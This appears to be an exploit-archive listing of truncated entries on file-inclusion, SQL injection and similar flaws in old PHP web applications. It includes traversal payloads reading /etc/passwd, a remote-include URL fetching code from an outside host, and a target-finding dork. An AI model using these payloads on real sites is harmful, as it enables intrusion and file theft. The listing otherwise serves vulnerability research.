molyx-lfi.txt

=============== MolyX BOARD 2.5.0 Local File Inclusion ==== Possibly other versions =============== Vulnerability found by MurderSkillz ============================================== =============== d0rk "Powered by MolyX BOARD 2.5.0" ========================================= ===============...

QDBlog 0.4 (SQL Injection/LFI) Multiple Remote Vulnerabilities

No description provided by source. . . . . | . .| . .;/ |\| Infos --------- Date : 2007-04-12 Product : QDBlog Version : v0.4 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/qdblog/ Vendor Status : 2007-04-12 - Not Informed! Description : QDBlog is an open-source,...

QDBlog 0.4 (SQL Injection/LFI) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== QDBlog 0.4 SQL Injection/LFI Multiple Remote Vulnerabilities ============================================================== . . . . | . .| . .;/ || Infos --------- Date :...

PHP-Nuke Module eBoard 1.0.7 GLOBALS[name] LFI Exploit

Exploit for unknown platform in category web applications ====================================================== PHP-Nuke Module eBoard 1.0.7 GLOBALSname LFI Exploit ====================================================== !Perl PHP-Nuke Module eBoard 1.0.7 GLOBALSname Local File Inclusion Exploit...

sBLOG 0.7.3 Beta - '/inc/lang.php' Local File Inclusion

!/usr/bin/perl sBLOG 0.7.3 Betainc/lang.phpLocal File Inclusion Exploit D.Script: http://sourceforge.net/projects/sblog/ V.Code: ifisset$conflangdefault && fileexists'lang/' . $conflangdefault . '.php' require'lang/' . $conflangdefault . '.php'; Discovered & Coded by : GolDM = Mahmoodali...

cPanel <= 10.9.x (fantastico) Local File Inclusion Vulnerabilities

No description provided by source...

shopkitplus local file include

lfi: /shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd full path: /shopkitplus/events.php?curmonth=01 /shopkitplus/enc/stylecss.php?changetheme= regards laurent gaffie...

shopkitplus-lfi.txt

lfi: /shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd full path: /shopkitplus/events.php?curmonth=01 /shopkitplus/enc/stylecss.php?changetheme= regards laurent gaffié...

lovecms14-multi.txt

rfi: /lovecms/install/index.php?step=http://site.com/boum.txt? lfi: /lovecms/install/index.php?step=/etc/passwd%00 /lovecms/?load=../../../../../../../../../../etc/passwd%00 admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tm...

Jupiter CMS 1.1.5 (index.php) Local/Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Jupiter CMS 1.1.5 index.php Local/Remote File Include Vulnerability ===================================================================== Title: Jupiter CMS 1.1.5 Multip...

PHPMyDesk 1.0 Beta - 'viewticket.php' Local File Inclusion

!/usr/bin/perl PHPMyDesk 1.0beta Remote Command Execution Exploit linK : http://www.cynux.com/phpmydesk/ cod3d and f0unded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: ciriboflacsATYaHOo.com or [email protected] File inclusion: www.site.com//viewticket.php?pmdlang=...

CubeCart < 3.0.13 Multiple Remote Vulnerabilities (LFI, SQLi, XSS)

The version of CubeCart installed on the remote host fails to properly sanitize user-supplied input to the 'gateway' parameter before using it in the 'includes/content/gateway.inc.php' script to include PHP code. An unauthenticated, remote attacker may be able to exploit this issue to view...

PHPSysInfo 2.x - Multiple Input Validation Vulnerabilities

PHPSysInfo 2.x - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/15396/info phpSysInfo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. phpSysInfo is prone to...

Immunity Canvas: IIS_MACHINEKEY

Name| iismachinekey ---|--- CVE| NO-CVE Exploit Pack| CANVAS Description| Microsoft IIS MachineKey ViewState Deserialization RCE Notes| CVE Name: NO-CVE VENDOR: http://microsoft.com Notes: IMPORTANT NOTES 3/30/2018: | Test | ind. systems verified | iismachinekey success |...